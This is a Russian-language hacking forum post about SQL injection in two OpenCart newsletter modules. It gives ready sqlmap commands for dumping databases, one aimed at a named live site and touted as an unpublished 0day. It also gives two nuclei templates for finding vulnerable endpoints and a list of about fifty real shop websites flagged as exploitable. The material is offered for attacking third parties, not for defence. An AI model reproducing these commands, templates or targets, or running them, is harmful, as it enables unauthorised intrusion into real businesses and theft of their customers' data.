OpenCart

[bestuser]

И так, новый конструктивный пост на тему опенкарта:
Первый баг который был на доступах указанных в топике выше это : https://sploitus.com/exploit?id=PACKETSTORM:168412
Code:

* Steps to Reproduce :  

- Go to : http://127.0.0.1/index.php?route=extension/module/so_newletter_custom_popup/newsletter  

- Save request in BurpSuite  

- Run saved request with : sqlmap -r sql.txt -p email --random-agent --level=5 --risk=3 --time-sec=5 --hex --dbs

Второго бага нет в пуличных базах уязвимостей, по этому можете считать его 0day:
Code:

sqlmap -u "https://www.latexcatfish.com//index.php?route=extension/module/newsletters/news" --data="[email protected]*" --random-agent --batch --tamper="between" --dbs

Как водится свежий подгон от меня:
so_newletter_custom_popup.yaml
Code:

#/index.php?route=extension/module/so_newletter_custom_popup/newsletter

#UNIQUE ID SECTION

id: SO_NEWS_SQLi

#INFORMATION SECTION

info:

  name: wow

  author: mzh

  severity: info

  reference: *******

  tags: wow

#PROTOCOL SECTION

http:

  - method: GET

    path:

      - "{{BaseURL}}/index.php?route=extension/module/so_newletter_custom_popup/newsletter"

    matchers:

      - type: word

        part: body

        words:

          - 'Email has already exist"}'

newsletters_news.yaml
Code:

#/index.php?route=extension/module/so_newletter_custom_popup/newsletter

#UNIQUE ID SECTION

id: NEWS_SQLi

#INFORMATION SECTION

info:

  name: wow

  author: mzh

  tags: alfaman-loh-0day-exploit

#PROTOCOL SECTION

http:

  - method: GET

    path:

      - "{{BaseURL}}/index.php?route=extension/module/newsletters/news"

    matchers:

      - type: word

        part: body

        words:

          - '{"message":"Email Already Exist"}'

Тест лист с уязвимыми хостами:
Code:

[NEWS_SQLi] [http] [info] http://albumecuprestigiu.ro/index.php?route=extension/module/newsletters/news

[NEWS_SQLi] [http] [info] http://anthinh.vn/index.php?route=extension/module/newsletters/news

[SO_NEWS_SQLi] [http] [info] http://anoncndin.com/index.php?route=extension/module/so_newletter_custom_popup/newsletter

[SO_NEWS_SQLi] [http] [info] http://avcstorage.com/index.php?route=extension/module/so_newletter_custom_popup/newsletter

[NEWS_SQLi] [http] [info] http://beardedfishermen.eliteclubclothing.co.uk/index.php?route=extension/module/newsletters/news

[NEWS_SQLi] [http] [info] http://bimmerexpert.com/index.php?route=extension/module/newsletters/news

[NEWS_SQLi] [http] [info] http://branchburgpoolsupplies.com/index.php?route=extension/module/newsletters/news

[NEWS_SQLi] [http] [info] http://bluelogic.com.my/index.php?route=extension/module/newsletters/news

[SO_NEWS_SQLi] [http] [info] http://cars.autobay.pk/index.php?route=extension/module/so_newletter_custom_popup/newsletter

[NEWS_SQLi] [http] [info] http://chai-sutta.biz/index.php?route=extension/module/newsletters/news

[NEWS_SQLi] [http] [info] http://china-moto.by/index.php?route=extension/module/newsletters/news

[NEWS_SQLi] [http] [info] http://data.net.pk/index.php?route=extension/module/newsletters/news

[SO_NEWS_SQLi] [http] [info] http://uneeruiqy.com/index.php?route=extension/module/so_newletter_custom_popup/newsletter

[NEWS_SQLi] [http] [info] http://ushaagency.com/index.php?route=extension/module/newsletters/news

[NEWS_SQLi] [http] [info] http://www.autopeach.com/index.php?route=extension/module/newsletters/news

[NEWS_SQLi] [http] [info] http://www.bhmmasons.co.za/index.php?route=extension/module/newsletters/news

[NEWS_SQLi] [http] [info] http://www.bliaudio.com/index.php?route=extension/module/newsletters/news

[NEWS_SQLi] [http] [info] http://www.boxequipment.com/index.php?route=extension/module/newsletters/news

[NEWS_SQLi] [http] [info] http://www.curiosityfashion.com.my/index.php?route=extension/module/newsletters/news

[SO_NEWS_SQLi] [http] [info] http://www.entekart.com/index.php?route=extension/module/so_newletter_custom_popup/newsletter

[NEWS_SQLi] [http] [info] http://www.fortune-chen.com/index.php?route=extension/module/newsletters/news

[NEWS_SQLi] [http] [info] http://www.garglabsolutions.com/index.php?route=extension/module/newsletters/news

[SO_NEWS_SQLi] [http] [info] http://www.guvenlikkamerasistemleri.com/index.php?route=extension/module/so_newletter_custom_popup/newsletter

[NEWS_SQLi] [http] [info] http://www.ionbathrepair.com/index.php?route=extension/module/newsletters/news

[NEWS_SQLi] [http] [info] http://www.jcfoods.com.hk/index.php?route=extension/module/newsletters/news

[NEWS_SQLi] [http] [info] http://www.kayamachines.com/index.php?route=extension/module/newsletters/news

[SO_NEWS_SQLi] [http] [info] http://www.koptershop.rs/index.php?route=extension/module/so_newletter_custom_popup/newsletter

[NEWS_SQLi] [http] [info] http://www.longhopeedu.com/index.php?route=extension/module/newsletters/news

[NEWS_SQLi] [http] [info] http://www.maas-laser.com/index.php?route=extension/module/newsletters/news

[NEWS_SQLi] [http] [info] http://www.mawiyer.com/index.php?route=extension/module/newsletters/news

[SO_NEWS_SQLi] [http] [info] http://www.maxatvbali.com/index.php?route=extension/module/so_newletter_custom_popup/newsletter

[SO_NEWS_SQLi] [http] [info] http://www.muses.com.tw/index.php?route=extension/module/so_newletter_custom_popup/newsletter

[NEWS_SQLi] [http] [info] http://www.nankang.com.hk/index.php?route=extension/module/newsletters/news

[NEWS_SQLi] [http] [info] http://www.pacificgsm.com/index.php?route=extension/module/newsletters/news

[NEWS_SQLi] [http] [info] http://www.paul-costa.com/index.php?route=extension/module/newsletters/news

[NEWS_SQLi] [http] [info] http://www.prado.ba/index.php?route=extension/module/newsletters/news

[NEWS_SQLi] [http] [info] http://www.poypet.com/index.php?route=extension/module/newsletters/news

[NEWS_SQLi] [http] [info] http://www.pruthiprinters.com/index.php?route=extension/module/newsletters/news

[NEWS_SQLi] [http] [info] http://www.raftis.in/index.php?route=extension/module/newsletters/news

[SO_NEWS_SQLi] [http] [info] http://www.stepbystep.com.my/index.php?route=extension/module/so_newletter_custom_popup/newsletter

[NEWS_SQLi] [http] [info] http://www.sunbornwatches.com/index.php?route=extension/module/newsletters/news

[NEWS_SQLi] [http] [info] http://www.tehnomax.rs/index.php?route=extension/module/newsletters/news

[NEWS_SQLi] [http] [info] http://www.tehnovod.hr/index.php?route=extension/module/newsletters/news

[NEWS_SQLi] [http] [info] http://www.uf-sportsgym.com/index.php?route=extension/module/newsletters/news

[NEWS_SQLi] [http] [info] https://beautypointcy.com/index.php?route=extension/module/newsletters/news

[NEWS_SQLi] [http] [info] https://belfoods.ro/index.php?route=extension/module/newsletters/news

[SO_NEWS_SQLi] [http] [info] https://beiho.com/index.php?route=extension/module/so_newletter_custom_popup/newsletter

[NEWS_SQLi] [http] [info] https://binicilikstore.com/index.php?route=extension/module/newsletters/news

[SO_NEWS_SQLi] [http] [info] https://bikotique.com/index.php?route=extension/module/so_newletter_custom_popup/newsletter

[SO_NEWS_SQLi] [http] [info] https://bindousr.com.kw/index.php?route=extension/module/so_newletter_custom_popup/newsletter

[NEWS_SQLi] [http] [info] https://blumat.pl/index.php?route=extension/module/newsletters/news

[NEWS_SQLi] [http] [info] https://buttons-threads.com/index.php?route=extension/module/newsletters/news

[NEWS_SQLi] [http] [info] https://buyonshops.com/index.php?route=extension/module/newsletters/news

[NEWS_SQLi] [http] [info] https://caleyelectrical.com/index.php?route=extension/module/newsletters/news

[NEWS_SQLi] [http] [info] https://ceiling-tiles.co.uk/index.php?route=extension/module/newsletters/news

© sushifriends74